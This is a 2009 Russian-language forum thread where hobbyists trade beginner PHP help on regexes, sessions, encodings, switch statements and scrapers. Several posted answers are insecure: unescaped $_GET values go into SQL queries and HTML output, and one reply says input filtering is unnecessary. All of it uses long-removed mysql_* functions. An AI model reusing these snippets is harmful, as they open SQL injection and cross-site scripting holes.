1933. Aleksandr (25.05.09 / 13:35)
ну смотря чему она приравнена.
ищи выше другую эту переменную приравненную чему то
(а по названию наверно ее для запрета кеширования обычно используют)

1934. Akademik (25.05.09 / 18:21)
Вот такой вот вопросик... Многие наверняка слышали о так называемых прогах автокача в онлайн-РПГ. Кто не слышал объясняю - прога, переходящая по определённым ссылкам определённого сайта в определённом порядке, а также отправляющая данные с форм. Можно ли написать такое на пыхе, и если да, то как?

1935. Akademik (25.05.09 / 18:23)
З. Ы. Кто поможет - с меня плюсег ).gif

1936. HOOF (25.05.09 / 18:39)
наверно через сокеты или курл такое возможно ).gif

1937. Akademik (25.05.09 / 18:44)
1960, поподробнее, плз ).gif

1938. phpcoder (25.05.09 / 20:47)
Akademik, скачай в инете snoopy php класс. Он отправляет POST данные, эмулирует браузер.

1939. Wapruks (28.05.09 / 11:37)
$scr_n = "/papka/file.php";
if($_SERVER['SCRIPT_NAME'] !== $scr_n){
Почему не работает такое условие?

1940. Wapruks (28.05.09 / 12:42)
И еще. Как в URL передать русские буквы?

1941. Aleksandr (28.05.09 / 14:50)
SCRIPT_NAME это еще что?
в урл русс.буквы помоему нельзя

1942. demeros (28.05.09 / 15:26)
1965,он наверное имеет ввиду через гет масив. В урл пишеш например сайт?наме=$намерус. Вот и все

1943. Wapruks (28.05.09 / 15:44)
У меня идет так
<a href="usr/anketa.php?uz='.$usr['nick'].'">'.$usr['nick& #39;].'</a><br />
А на странице usr/anketa.php
$uz = check($_GET['uz']);
$a = mysql_query("SELECT * FROM users WHERE nick='$uz'");
$b = mysql_fetch_array($a);
Ну и дальше вывод анкеты
Ну если ник русский то в базу идет запрос вида:
mysql_query("SELECT * FROM users WHERE nick='%A7%AC%A7%E5%A7%D9%A7%C1'");
А такого юзера в базе естественно нет

1944. Aleksandr (28.05.09 / 16:18)
1967, ничего страшного просто оставь. пусть каракули будут. скрипт прочтет их нормально.

1945. Playa (28.05.09 / 18:26)
1963, заработало хоть? всё ведь правильное условие. посмотри что потом выводитсо. может потому и не работает

1946. Aleksandr (28.05.09 / 18:33)
1967, а чтоб в базу русские символы записывались нормально, соединяй базу так:
mysql_connect("localhost", "$dbuser", "$dbpass")
or die("Нет соединения с базой mysql<br/>" . mysql_error());
mysql_select_db("$dbname") or die("Ошибка подключения к базе");
mysql_unbuffered_query("SET character_set_client = 'utf8';");
mysql_unbuffered_query("SET character_set_results = 'utf8';");
mysql_unbuffered_query("SET collation_connection = 'utf8_general_ci';");

1947. Playa (28.05.09 / 18:39)
1970, а я так пишу - mysql_query('SET NAMES utf8'); только не знаю нужное это или нет ггы

1948. Titov (29.05.09 / 22:16)
ВОПРОС: Примером может послужить почти каждый скрипт, например есть один файл с всеми функциями(function.php) в нем не много не мало 60 функцию разного рода, транслиты,кодировки-раскодировки,коунты файлов, вобщем разные что ни есть, и все файлы скрипта инклудят етот файл функции. !!!Вопрос!!! С точки зрения оптимизации не лучше бы было писать функцию именно там где она должна быть а не везде что делаеться при помощю инклуда?

1949. DiezZ (29.05.09 / 22:59)
Лучше конечно,еще вариант налепить проверок и подгружать функции соответственно

1950. painter (30.05.09 / 13:39)
Лучше каждую функцию закинуть в отдельный файл и инклудить отдельную функцию в файле в нужном месте, самые популярные и употребляемые ф-ии можно обьеденить

1951. Удаленный (30.05.09 / 15:37)
Вопрос: как в воде пароле сделать кто вводить пароль с оперы шифруется звездочками,код я знаю мне надо вспомнить слово в метод что ставить. Забыл толи key толи pass. Не помню(.gif

1952. Wapruks (30.05.09 / 15:50)
<input type = "password" name = "pass"> и все

1953. Удаленный (30.05.09 / 15:52)
А всё почитал полезную статью ).gif надо прописать password ).gif может кто ещё скажет вот можно сравнить какое нибудь число операндом пример $a=2; $b=4; $c=6; операнд $d=$a+$b+$c; ?

1954. Koss (30.05.09 / 17:31)
197, можно. Ты в деввере проверяй. если работает, значит можно

1955. Удаленный (30.05.09 / 17:47)
проверьте люди пожалуйста. Я просто клаву разбил,и не могу (.gif так бы не задавал вопросов

1956. RomeoOnline (30.05.09 / 17:50)
Подскажите пожалуйсьта.Скрипт выдаёт ошибку связаную с каким то индексом.
if($_GET[act]=="add")// вот в этой строке


1957. RomeoOnline (30.05.09 / 17:58)
{
if( !empty($_POST['name']) and !empty($_POST['uin']) and !empty($_POST['text']) and !empty($_POST['kod']) )


1958. Удаленный (30.05.09 / 18:03)
Ну а дальше код? Ты только массивы написал.

1959. RomeoOnline (30.05.09 / 22:21)
Инет тормозил. На счет скрипта, я передумал использовать его).gif сори за вопрос. Он просто лишняя примочка.

1960. lugaro (30.05.09 / 22:50)
1980 ошибка говорит о том что $_GET[act] не заданная переменная

1961. Titov (31.05.09 / 02:22)
91 напиши так вот

<?
if(isset($_GET['act']))$act=htmlspecialchars($_GET['a ct']);
If($act=='add'){
?>


1962. Studentsov (31.05.09 / 09:00)
#1985 Объясни мне, нафига фильтровать переменную, которая участвует только лишь в разделении страницы?
<?php
$act=isset($_GET['act']) ? $_GET['act'] : '';
if($act=='add'){
//PROFIT!
}
?>


1963. RomeoOnline (31.05.09 / 22:30)
Спасиб ребят! Буду знать на будущее. Сейчас плюсы замочу 1985 и 1986.

1964. 9e9ywk0 (01.06.09 / 09:56)
у меня такой вопрос.
после аплоада файла, я например пишу в гостевой, и вместо моего написанного сообщения записывается "tmp/upload/..../file.gif", как от этого избавиться?

1965. Aleksandr (01.06.09 / 13:46)
1988, ты вместо $_POST[msg] наверно $_FILES['file']['tmp_name'] записываешь (но откуда вообще в гостевой такой путь? добавление файлов чтоли там)
1986, например в навигации это нужно

1966. Удаленный (01.06.09 / 16:13)
у меня это гонит tmp/upload/..../file.gif когда закидываю файл вот что появляется &quot;/tmp/upload/65edf59be27cf6f29ef208a5e7aaa32a50e19ba1bac87076864a29ed9d15238e1/anji.gif& ;quot;,

1967. 9e9ywk0 (01.06.09 / 20:50)
89, я уж не такой ***, что бы в обработчике гостевой впитывать вместо POST, FILES. если не веришь могу дать ссылку на автологин, там зайдешь в мои фото, попробуешь загрузить фото и написать потом в гостевой.

1968. Aleksandr (01.06.09 / 21:09)
Александр, наверно переменные одинаковые и еще может рег. глобалс включен не знаю.

1969. 9e9ywk0 (01.06.09 / 21:57)
я пишу на выключенном рег.глобалсе, а переменные не одинаковые.
переменная файла file
а перепоная текста text
такая же фигня есть в джоне и тут вроде тоже, попробуй загрузить сюда фото и написать потом тут.
я вот пробывал удалять файл сразу после загрузки, то есть после сохранения таким образом unset($_POST['file']['tmp_name']); , не помогает

1970. 9e9ywk0 (01.06.09 / 21:59)
*переменная
**unset($_FILES['file']['tmp_name']);

1971. Aleksandr (01.06.09 / 22:15)
Извини, ты про мотор? мотором не пользуюсь.. Вантузу в личку ссылку на эту страницу напиши

1972. DeMR (01.06.09 / 22:23)
Подскажите как сделать что бы в сессии, перед SID подставлялося знак ? или &amp; по случаю если ссылка заканчивается

index.php'.SID.' index.php должно появится >?< SID=534er6 итд
если сссылка заканчивается так index.php?mod=step'.SID.'
index.php?mod=step то должно появится >&amp;< SID=534er6 итд


1973. Aleksandr (01.06.09 / 22:58)
1996, <a href="httр://url.php?'.SID.'">url</a> gg)

1974. DeMR (01.06.09 / 23:13)
1997. да не так в том то все и дело

1975. DeMR (01.06.09 / 23:18)
вот про что

session name ( тут SID)
session start ()

)))))))))

1976. 9e9ywk0 (01.06.09 / 23:46)
95, да какой мотор, я пишу свой движок, я тебе пример привет куда загрузить и потом написать, что бы проверить что такая фигня получается.

1977. 9e9ywk0 (01.06.09 / 23:48)
*привел

1978. RomeoOnline (04.06.09 / 10:18)
подскажите плиз, скрипт выдаёт вот такую ошибку:Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in w:\home\ru\cl\components\classes\session.php on line 3
Вот сама третья строка: private $logout = 600;

1979. RomeoOnline (04.06.09 / 10:19)
Вот сценарий:
<?php
class session Extends Template{
private $logout = 600;
var $visit = 0;
function __construct(){
ini_set('arg_separator.output', '&amp;');
ini_set('session.hash_bits_per_character','6');
ini_set('session.name', 'B773e66PGGtwIC9KYvvNf0t4kLc7jHBFI');
ini_set('session.use_trans_sid', 'off');
ini_set('session.use_cookies', 'off');
ini_set('session.gc_maxlifetime','1800');
$SessName = ini_get('session.name');
if (isset($_GET[$SessName])){


1980. RomeoOnline (04.06.09 / 10:26)
Блин чё за бяка? Отправляю код а мне ошибка выдаётся здесь на форуме :Request Time-out
Server timeout waiting for the HTTP request from the client.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

1981. Aleksandr (04.06.09 / 17:26)
004, в коде во многих "словах" не считая переменных по одной букве меняй на русс
например вместо while пиши whilе где синий Е она русс.

1982. KILLERDEN (05.06.09 / 10:19)
Извените что немного не по теме, но что надо прописать в .htacces чтоб увеличить upload файлов?

1983. Удаленный (05.06.09 / 14:10)
php_value upload_max_filesize 20M

1984. RomeoOnline (06.06.09 / 13:50)
Я разобрался;) У меня версия пыха под скрипт не подходила. Была 4 а надо было 5

1985. mozzzg (06.06.09 / 16:43)
2006 или в php.ini если есть такой

1986. smartvbxos7 (07.06.09 / 04:12)
Таков вопрос реальнали наложит на видио кадр в начало на 5сек с помошью PHP?

1987. Wapruks (07.06.09 / 08:19)
На сколько я знаю-нет

1988. Fantik (07.06.09 / 21:17)
Подскажите пожалуйста код, при помощи которого можно организовать сервис разделов на сайте. Юзвер типа получает линк и в конце линка свой урл вписывает и ещё его урла вверху на странице отображается. Как это организовать? За ранее благодарен ).gif

1989. smartvbxos7 (08.06.09 / 02:33)
2011, ясно

1990. Olfix (08.06.09 / 05:11)
Ребята подскажыте как прописать код в странице например: у меня есть скрипт отправки iсq я его переделал под Дцмс 6.3.4 в анкете зделал чтобы ася писалась ссылкой на скрипт отправки icq Вопрос: как зделать чтоб когда прошол по етой ссылке и попал на страницу отоправки то над полем ввода был написан номер аси того с чьей анкеты я прошол?На скрипт-планет такое есть

1991. DmitryDick (08.06.09 / 08:25)
В ссылке пиши:
<a href="icq.php?uin=тут переменная с юином">написать в icq</a>
В файле-отправщике ловишь так:
$uin = abs((int)$_GET['uin']);
echo 'Вы пишете на номер '.$uin.'<br />';

1992. Olfix (08.06.09 / 10:28)
Ссылка идет с анкеты юзера в двиге на скрипт отправки на файлах,он токо переделан под двиг

1993. Aleksandr (08.06.09 / 10:44)
вот как 2015й пост только в value пропиши
<input name="uin" value="'.intval($_GET['uin']).'">

1994. Olfix (09.06.09 / 00:57)
2017* твой код вставил в страницу скрипта iсq теперь та нолик светица. А как в анкете влепить несоображу. Чтобы оно передавало uin именна того чела с чьей анкеты я прохожу

1995. Olfix (09.06.09 / 01:00)
Код в анкете вот такой if ($ank['ank_icq']!=NULL && $ank['ank_icq']!=0)
?echo "<img src=\"http://web.icq.com/whitepages/online?icq=$ank[ank_icq]&amp;img=27\" alt=\"icq\" height=\"16\" width=\"16\" /> <span class=\"ank_d\"><a href=\"/icq/icq/index.php\" title=\"Написать письмо\" class=\"ank_d\">$ank[ank_icq]</span></a><br />\n";

1996. Aleksandr (09.06.09 / 01:47)
че то там много слэшей
глаза разбежались
завтра пересмотрю

1997. Olfix (09.06.09 / 01:54)
Да оно синтаксис выдает если написать так адрес/uin='.intval($_POST['uin']).'">Отправить еще</a><br/>'; и нада так чтобы было без (отправить сообщение) ибо там в анкете просто номер аси выводица как ссылка

1998. seif (09.06.09 / 02:31)
2021, ссылка у тебя идет такая
<a href="/icq/icq/index.php">Написать в icq</a>
а ты сделай такую ссылочку
<a href="/icq/icq/index.php?icq=$ank[ank_icq]">Написать в icq</a>
если правильно код разобрал то в переменной передается $ank[ank_icq] номер аськи. Тепер в файле index.php в верху напиши
echo "Сообщение для".$_GET['icq'];
а поле с номером, можно сделать скрытым

1999. seif (09.06.09 / 02:33)
Только поле с номером не вздумай убрать!!! можно только скрытым сделать

2000. Playa (09.06.09 / 11:34)
вот таккой вопросец: в поле одно записываетсо текст таким образом: text1;text2;text3; можно вывести из этого поля построчно так чтобы text1 был первой строкой, text2 второй строкой, text3 третьей строкой???

2001. phpcoder (09.06.09 / 11:51)
2024, как то так
$str="text1;text2;text3;";
$mas=explode(';',$str);
foreac h($mas AS $value) echo $value.'<br>';

2002. Playa (09.06.09 / 12:05)
2025, туда записывается разный текст... просто разделитель между ним ";" и текста может быть хоть предложений через разделитель ; вот... возможно это вообще на мускуле? гг

2003. phpcoder (09.06.09 / 12:08)
2026.
А чем тебе мой код не понравился? Там не важно какой текст, и сколько его, лишь бы был разделён ;

2004. Playa (09.06.09 / 12:14)
2027, щас проверю))

2005. Playa (09.06.09 / 12:20)
о блин. а какой запрос чтобы из того поля какое мне надо считывало это?)

2006. Playa (09.06.09 / 12:25)
упс. чёт глупый вопрос%) всё, phpcoder, спс) + не могу поставить - маловато баллов

2007. shurik (10.06.09 / 08:19)
каким кодом написать грабер?

2008. mozzzg (10.06.09 / 08:38)
ну посмотри на этом сайте в скриптах примеры грабберов

2009. Sklep (10.06.09 / 10:37)
грабер пишется в основном с использованием file get contents() и с использованием explode или регулярками, смысл в том что:
1. получаем содержимое
2. парсим полученное содержимое

2010. Sklep (10.06.09 / 10:38)
или же http://gugl-tebe-v-pomosh.ru

2011. seif (10.06.09 / 19:11)
Давно меня мучает один вопрос, никто мне не может с ним помочь. Помогите пожалуста.
Вот пример кода из phpВВ
$template->set_filenames(array('body' => 'index_body.tpl'));
каким образом файл index_body.tpl подключился к файлу, и этот код вообще к чему относиться к классам или к чему?

2012. seif (10.06.09 / 19:12)
Давно меня мучает один вопрос, никто мне не может с ним помочь. Помогите пожалуста.
Вот пример кода из phpВВ
$template->set_filenames(array('body' => 'index_body.tpl'));
каким образом файл index_body.tpl подключился к файлу, и этот код вообще к чему относиться к классам или к чему?

2013. KILLERDEN (10.06.09 / 19:24)
Люди, как зделать автоперезагрузку страницы чтоб перегружалась только часть страницы???

2014. And7ei (10.06.09 / 19:50)
2037-ни как. Ну похоже можно наверно на Ява скрипт написать но потянет ли это тело-вот в чем вопрос.

2015. Sklep (10.06.09 / 20:13)
$template->set_filenames(array('body' => 'index_body.tpl')); это функция шаблонизатора и она подключается в соответствующем обьявленном классе $template

2016. Sklep (10.06.09 / 20:15)
далее наверное в класе листается переданный масив и определяет всем переменным боди файл помеченный как боди, ну эт так дословно, а вообще ООП это вещь, у меня цмс на ООП написана

2017. Sklep (10.06.09 / 20:17)
2038 что значит никак? че за Г. можно фреймами

2018. seif (10.06.09 / 20:37)
Да я такой, если можеш напиши пожалуста какой нибудь легкий пример. Значит мне ооп учить надо?

2019. KILLERDEN (10.06.09 / 22:14)
2038, а как ява скриптом зделать? Мое тело ява скрипт поддержует, а комп тем более. 2041, а как это фреймами? Можеш объяснить?

2020. seif (10.06.09 / 23:39)
Да я такой, вот попробывал простой пример сделать

<?php
class files
{
function path()
{
include "templates/portal_body.tpl";
}
}

далее инклужу данный файл в другой файл

<?php
include "../inc/class.php";
$templates->files(path('portal_body.tpl'));
?>

получается ошибка
Fatal error: Call to a member function files() on a non-object in Z:\home\uchenik.ru\www\web\index.php on line 3
ошибка показывает что не известнная функция, но files это же класс

2021. seif (10.06.09 / 23:47)
сейчас понял вроде почему ошибка ).gif ща снова буду пробывать

2022. seif (11.06.09 / 00:06)
Разобрался ).gif всё работает

2023. script (12.06.09 / 11:06)
Ребят,подскажите пожалуйста как пишется код запрещенных символв,например </?> ?

2024. Playa (12.06.09 / 11:11)
2047, в смысле? как проверка на наличие символов делаетсо?

2025. script (12.06.09 / 11:14)
Да....

2026. Playa (12.06.09 / 11:24)
посмотри в гугле на тему регулярные выражения. ereg, preg там...

2027. script (12.06.09 / 11:27)
Извени,но эта тема специальна создана чтобы отвечать на вопросы,а не посылать в гугл!

2028. Playa (12.06.09 / 11:37)
2051, ну например таким образом проверять переменную на наличие точки: eregi("[.]",$money2). можно preg_replace сразу менять то, что передаётся...

2029. script (12.06.09 / 11:55)
2052,Спасибо...

2030. DmitryDick (12.06.09 / 13:38)
2047, обрабатывай переменную $var = htmlspecialchars($var)
2050, preg_match лучше

2031. Удаленный (12.06.09 / 13:57)
Написал скрипт новостей. Кто может подсказать как сделать на базе рассылку новостей на мыло?

2032. Удаленный (12.06.09 / 13:58)
Т.е автоматически если я например создал новость,автоматически рассылается всем юзерам сделавших подписку.

2033. Aleksandr (12.06.09 / 14:16)
users - табл. с юзерами
rss - поле хранения новости у юзеров
podp - поле где написано подписан юзер или нет
____________
mysql_query("UPDATE users SET rss='новость' where podp='yes'");

2034. SNELS (12.06.09 / 14:43)
Чё-то я в регулярках вообще никак =). Как составить регулярку, на проверку даты рождения. Формат, типа 11.11.1990

2035. Aleksandr (12.06.09 / 14:52)
2058, if(!preg_match('I^[0-9\.]+$Ii',$msg) or strlen($msg)>10){ error }
думаю достаточнo )

2036. Aleksandr (12.06.09 / 14:53)
if(!preg_match('I^[0-9\.]+$Ii',$msg) or strlen($msg)>10 or strlen($msg)<10){ error }

2037. SNELS (12.06.09 / 15:06)
2060 спасибо =)

2038. SNELS (12.06.09 / 15:11)
Мм, ошибочка

Warning: preg_match() [function.preg-match]: Delimiter must not be alphanumeric or backslash in Z:\home\111.ru\www\cab.php on line 11


2039. DmitryDick (12.06.09 / 15:57)
preg_match("~[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{4}~", $var)
Не пробовал]

2040. Aleksandr (12.06.09 / 16:00)
2062, ну ты там вместо I поставь вертикальную палочку

2041. SNELS (12.06.09 / 16:06)
2063 вот так робит =) Я сначала почти так сделал, только точки тоже в квадратные скобки засунул =) Спасибо

2042. SNELS (12.06.09 / 16:06)
2064 ааа, ясно =) Ну, уже ладно =)

2043. SNELS (12.06.09 / 17:39)
Хм, только сейчас заметил. Так можно допустим прописать 11.11.1990вапыпаыв и проходит

2044. Удаленный (12.06.09 / 18:01)
Араб +1 уже ставил. Всё сделал спасибо. Как доработаю скрипт выложу.

2045. Playa (12.06.09 / 18:15)
2068 а в форме поставь maxlength="10" D.gif

2046. Playa (12.06.09 / 18:16)
упс, 2067)

2047. SNELS (12.06.09 / 18:17)
2069 это фигня. С оперы мини зайди и хоть 1000 символов туда впиши

2048. Playa (12.06.09 / 18:19)
2071, а если ещё одну проверку? if(eregi("[a-zA-Zа-яА-Я]",$per)){echo'ошибко';} ну это лёгкий путь) может там чёт подмудрить всё-таки можно...

2049. seif (13.06.09 / 19:55)
2072, ооо... точняк).gif сначало хотел написать что твое регулярное вырожение другое проверяет, только потом дошло что отдельно сделать проверку на буквы ).gif

2050. KILLERDEN (13.06.09 / 22:12)
Плиз, ответьте на пост 2037

2051. Aleksandr (13.06.09 / 22:47)
2074, никак. можно на странице прописать exit; на том месте до куды ты ее хочешь перегрузить.
Ты обясни какие данные нужно обновить может получится их на отдельную страницу и инклудить ее

2052. KILLERDEN (13.06.09 / 23:41)
Ну у меня есть чат. И мне нада чтоб обновлялась страница каждые 10сек. Но если пользователь пишет текст и страница начнет обновляться, то все что он писал надо будет опять писать. Вот мне и нада чтоб обновлялась та часть где инклудится файл с записями разговора в чате.

2053. Aleksandr (14.06.09 / 08:38)
о чем ты думал когда так делал.
Короче смотри имя страницы допустим chat.php и вот тут на странице код записывающий сообщение от пользователя:
.........
xxxxxxxxxx
xxxxxx
xxxxxxx
xxxx
..........
Я код ввиде хххх написал. Возьми этот код в кривые скобки { и } след. способом:
if(isset($_GET['zapis'])){
xxxxxxxxxx
xxxxxx
xxxxxxx
xxxx
ex it;
echo'<meta http-equiv="Refresh" content="0; URL=chat.php"/>'; }
________
Потом после этого кнопку добавления сообщения отредактируй. точнее ее путь укажи не просто на страницу chat.php а на chat.php?zapis

2054. Aleksandr (14.06.09 / 08:39)
блин. exit; поставь в самом конце перед }

2055. KILLERDEN (14.06.09 / 10:45)
Чет не очень понял. А тот код ххххххх это ты имел ввиду форму или запись в файл?

2056. Aleksandr (14.06.09 / 12:41)
запись в файл

2057. kas (14.06.09 / 16:19)
парни, как мне ко всем ссылам моего сайта прилепить например mt_rand(1111,9999) тупо шарить по всем файлам влом...

2058. Gansik (14.06.09 / 16:27)
Нужна помощь! Где ошибка в запросе?

<?
$result = mysql_query ("SELECT * FROM comment where news_id='".$_GET['id']."' DESC LIMIT 5") or die("mysql_error()!");
?>


2059. Gansik (14.06.09 / 17:04)
82, разобрался

2060. seif (14.06.09 / 19:23)
Помогите составить регулярное выражение для проверки правильности заполнения домена

2061. seif (14.06.09 / 19:33)
Без http://

2062. DmitryDick (14.06.09 / 19:54)
2067,
preg_match("~^([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{4})~", $var)
Так пробуй)

2063. DmitryDick (14.06.09 / 20:15)
2067,
preg_match("~^([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{4}$)~", $var)

2064. seif (14.06.09 / 22:10)
Вопрос в 2084 решил.
Тепер другой вопрос).gif
Хочу сделать чтоб по году рождения вычислялось сколько лет. У меня получился следущий код, который мне не нравиться, хотя работает. Подскажите пожалуста как можно сделать это проще.
У меня так

$dr = '14.07.1988';
$dat = explode(".","",$dr);
$drr = $dr[6].$dr[7].$dr[8].$dr[9];
$g = date("Y");
$let = $g - $drr;
$gg = $dr[0].$dr[1].$dr[2].$dr[3].$dr[4];
$ch = date("d.m");
if($ch == $gg)
{
echo $let;
}else{
echo '20';
}


2065. DmitryDick (14.06.09 / 22:50)
Что это за explode? Оо

2066. seif (14.06.09 / 23:11)
2089, не надо его).gif просто несколько способов пробывал. Забыл эту строчку убрать, а суда код скопировал

2067. 9e9ywk0 (15.06.09 / 17:54)
$years = floor((time()-mktime(0,0,0,месяц,день,год))/(365*24*3600));
echo $years;

2068. seif (16.06.09 / 06:01)
А что такое floor ?

2069. SNELS (16.06.09 / 12:42)
Есть переменная $var='ffff.gggg.ddd.gg';
Как переименовать в ней все точки, КРОМЕ последней в _. Причём, переменная $var mожет иметь сколь угодно точек.

2070. nikolenko (18.06.09 / 08:30)
Вроде бы начал учить php и стало интерестно. Переменная $teks=$var читается справа на лево, php писали арабы? Обычно читают слева на право

2071. Удаленный (18.06.09 / 08:33)
94,это ты вроде сейчас написал операнд

2072. Удаленный (18.06.09 / 08:37)
92,floor() это функция

2073. nikolenko (18.06.09 / 11:07)
$test='текст';
$str='еще';
$test=$str;
echo $test; echo $str;
получается в браузере еще текст. Хотя по логике должно текст еще

2074. DmitryDick (18.06.09 / 11:43)
Ты переменную тест перезаписываешь переменной стр.

2075. nikolenko (18.06.09 / 16:59)
это я знаю, но почему справа на лева перезаписываешь. Не легче слева на право.

2076. User888 (18.06.09 / 17:37)
Как зделать выгрузку файлов через оперу?Напишите код,кто знает).gif

2077. painter (18.06.09 / 18:08)
Тоесть?

<input type="file" name="yourfile" />

Других асоциаций с вышесказаным нет)

2078. WapAz (19.06.09 / 20:09)
Привет Всем. Как в моторе написат в куках переменную lang ?

2079. WapAz (19.06.09 / 20:12)
В внизу я поставил сылку index.php?lang=en но нужно чтоб переменная lang=en (lang=ru; lang=aze ...) сохранился в куках.

2080. DmitryDick (20.06.09 / 11:12)
2099, kak?

2081. painter (20.06.09 / 13:30)
03,
setcookie("lang",$lang,)


2082. Volland (20.06.09 / 13:36)
Как можно сделать так:
При заходе например на главную страницу,автоматически определялось с какого браузера заходишь (тоесть телефон или комп) ,и в зависимости от этого сразу же перенаправляло на вап или веб версию сайта?

2083. Удаленный (20.06.09 / 18:02)
Увы, слишком длинное сообщение(((
Есть замечательный код в botPDA для joomla. Скачайте и разберитесь, там всё доступно и понятно.

2084. Aleksandr (20.06.09 / 19:07)
2106, тыщу раз это спрашивают )
if(stristr($_SERVER['HTTP_USER_AGENT'],'Windows NT')){
// версия для ПК
}else{
// версия для не ПК ))
}

2085. Удаленный (20.06.09 / 19:25)
А если не Windows? Linux, Mac ? да мало ли чего...

2086. Aleksandr (20.06.09 / 20:00)
2109, с такими не работал ) пусть другие добавят

2087. WapAz (20.06.09 / 21:44)
Да типер записывает. Но при обнавлении страницы стераеться. Как сделат чтоб он остался?
И ещё как в функции if его исползоват? Пищите пример. Зарания спасибо

2088. Удаленный (20.06.09 / 21:59)
Читай мануалы. Заранее спасибо

2089. WapAz (21.06.09 / 03:02)
Спасибо но лучше увижу один пример чем 5-6 страниц

2090. Удаленный (22.06.09 / 16:05)
На странице скрипта создаю для ссылки содержимое файла <? case 'comments'; echo '<b>Коментарии</b>'; break; [/code] и у меня выводится ошибка: syntax error, uexpected T_CASE может что не правильно делаю? Х.з помогите кто знает срочно я пишу коментаии для чата в одно файле просто.

2091. lugaro (22.06.09 / 16:14)
case' ': а не case' ';

2092. mocart (22.06.09 / 16:15)
Помоему так, : вместо ;

2093. mocart (22.06.09 / 16:16)
15, я опаздал(.gif

2094. Удаленный (22.06.09 / 16:30)
16,ой я так и писал в коде страница не хочет работатать почему то. Я так прописываю case 'comments': код break; и выдается такая ошибка (.gif

2095. Удаленный (22.06.09 / 16:32)
Надо я слышал давно что настроить что то страницу чтоб она работала с кейсом а я как есть так и пишу. Подскажите

2096. lugaro (22.06.09 / 17:31)
<?
$mod=$_GET['mod'];
switch($mode){
default:
//главная, по адресу skript.php
break;
case'kom':
//коменты по адресу skript.php?mod=kom
break;}
?>


2097. lugaro (22.06.09 / 17:33)
*Там где $mode напиши $mod

2098. Удаленный (22.06.09 / 18:20)
2010 можно любое название подгонять не только mode,mod? Главная по адресу это у нас верхний не саsе код?

2099. Удаленный (22.06.09 / 18:20)
Лугаро +1

2100. Удаленный (22.06.09 / 18:25)
Всё ясненько надо перед кейсом это прописать ну пойду проверю ).gif ещё раз спасибо лугаро запомнил

2101. Удаленный (22.06.09 / 19:07)
Что с опять проблемы (.gif ну уже хоть кейс прописал. Но не каких эмоций не я даю путь ?mode ну знаете как кейсам дают. А ноль эмоций я прописал перед кейсом что дал лугаро

2102. lugaro (22.06.09 / 19:16)
2125 яж говорю там опечатка и там где моде нужно было написать мод, вот поправил
<?
$mod=$_GET['mod'];
switch($mod){
default:
//главна я, по адресу skript.php
break;
case'kom':
//коменты по адресу skript.php?mod=kom
break;}
?>

2103. Удаленный (22.06.09 / 19:24)
26,я это понял я все название сменил на mode. 0 эмоций не работает кейс

2104. Удаленный (22.06.09 / 21:25)
Код, приведённый .::lugaro::. абсолютно правилен и прекрасно работает.
2127/ на лицо кривость рук)

2105. MerZaveC (22.06.09 / 23:25)
$mod=$_GET['mod']; фильтровать нужно?

2106. lugaro (22.06.09 / 23:29)
Не нужно

2107. smartvbxos7 (23.06.09 / 00:40)
Еше так можна юзать
switch ($mod):
default: // главная
break;
case ("kom"): // kom
break;
endswitch;

2108. mocart (23.06.09 / 05:11)
Кул кодеры выручайте, есть страница
сдесь сыли и т.д.
<hr>
сдесь оснавной текст
<hr/>
сдесь тош муть какаято
как можна получить эту страницу, чтоб остался чисто основной текст? тоесть как удалить все до <hr> и после<hr/>? зарание спасибо

2109. smartvbxos7 (23.06.09 / 05:34)
<?php
switch ($_GET['act']){
default: // основное
break;
case ("rek"): // твоя рекла
break;
case ("mut"): //твоя муть
break;}
?>
обрашение к основному тексту Script.php
обрашение к рекламе Script.php?act=rek
обрашение к мути Script.php?act=mut

2110. BISHEP (23.06.09 / 06:30)
ув. Кодеры как сделать к вывод ссылок не рондомно а по порядку клик по одной сл. клик по второй и так далее и так по кругу

2111. mocart (23.06.09 / 06:39)
Тоесть тебе надо по порядку шоб?

2112. mocart (23.06.09 / 07:15)
ща напишу

2113. mocart (23.06.09 / 07:52)
вот http://upwap.ru/465092 пароль 123123 , сдесь оставить не смог

2114. Удаленный (23.06.09 / 08:06)
Не работает вообщем кейс этот у меня в коде (.gifустал уже

2115. smartvbxos7 (23.06.09 / 08:06)
Кинь сюда код

2116. Удаленный (23.06.09 / 08:08)
Ща минуту

2117. Удаленный (23.06.09 / 08:13)
http://wapnew.ru/61

2118. Удаленный (23.06.09 / 08:14)
123 пароль

2119. smartvbxos7 (23.06.09 / 08:21)
Несоветую чета писать между кейсами только break;
ета
вставь
$mode=$_GET['mode'];
switch('$mode'){
d efault: echo "<u>Комментарии:</u> <b><a href=\"news.php?mode=comments&amp;$wp&amp;mid=$mid\">". 6;comm[0]."</a></b><br/>";
echo divide;
break;
case 'comments':
и проверь

2120. smartvbxos7 (23.06.09 / 08:25)
Чет форум режет лови
http://wapnew.ru/63

2121. Удаленный (23.06.09 / 08:34)
Не работает (.gif

2122. smartvbxos7 (23.06.09 / 09:40)
2145, кейс паправил а остальное уже сам. . .

2123. Удаленный (23.06.09 / 09:44)
Да я остальное сделаю,только что за причина что не работает

2124. Удаленный (24.06.09 / 14:23)
Блин я $mid сессию не прописал).gif всем спасибо,работать с кейсами я теперь умею

2125. Удаленный (24.06.09 / 14:28)
http://forum.kosmohost.com/index.php?action=printpage;topic=167.0

2126. Удаленный (24.06.09 / 14:29)
Ой извините за пост 49 не в ту тему написал назад лестал просто.

2127. Удаленный (24.06.09 / 15:03)
Ребята помогите пожалуйста в синтаксиса пока плохо шарю, вообщем написал страницу скопировать закладку там участвует символ & в wml версии выдадет ХМL ошибка в цветной всё норм. Кто может обьяснить как это исправить чтоб не было косяков ХМL

2128. Jeka127 (24.06.09 / 18:20)
пишу граб погоды с сайты гисметео...столкнулся с закодированым текстом...
как его раскодить??
<TOWN index="34929" sname="%CA%F0%E0%F1%ED%EE%E4%E0%F0" latitude="45" longitude="39">

Знаю что закодирован очень просто...но ток не наю чем...подскажите как или с помощью чего его раскодить...тут закоденно слово краснодар

2129. painter (24.06.09 / 18:43)
<?php
$sname="%CA%F0%E0%F1%ED%EE%E4%E0%F0&q uot;;
$norm_name=urldecode($sname);
?>


2130. Jeka127 (24.06.09 / 19:15)
пасиб помагло

2131. mozzzg (24.06.09 / 19:18)
2151 вместо & пиши &amp;

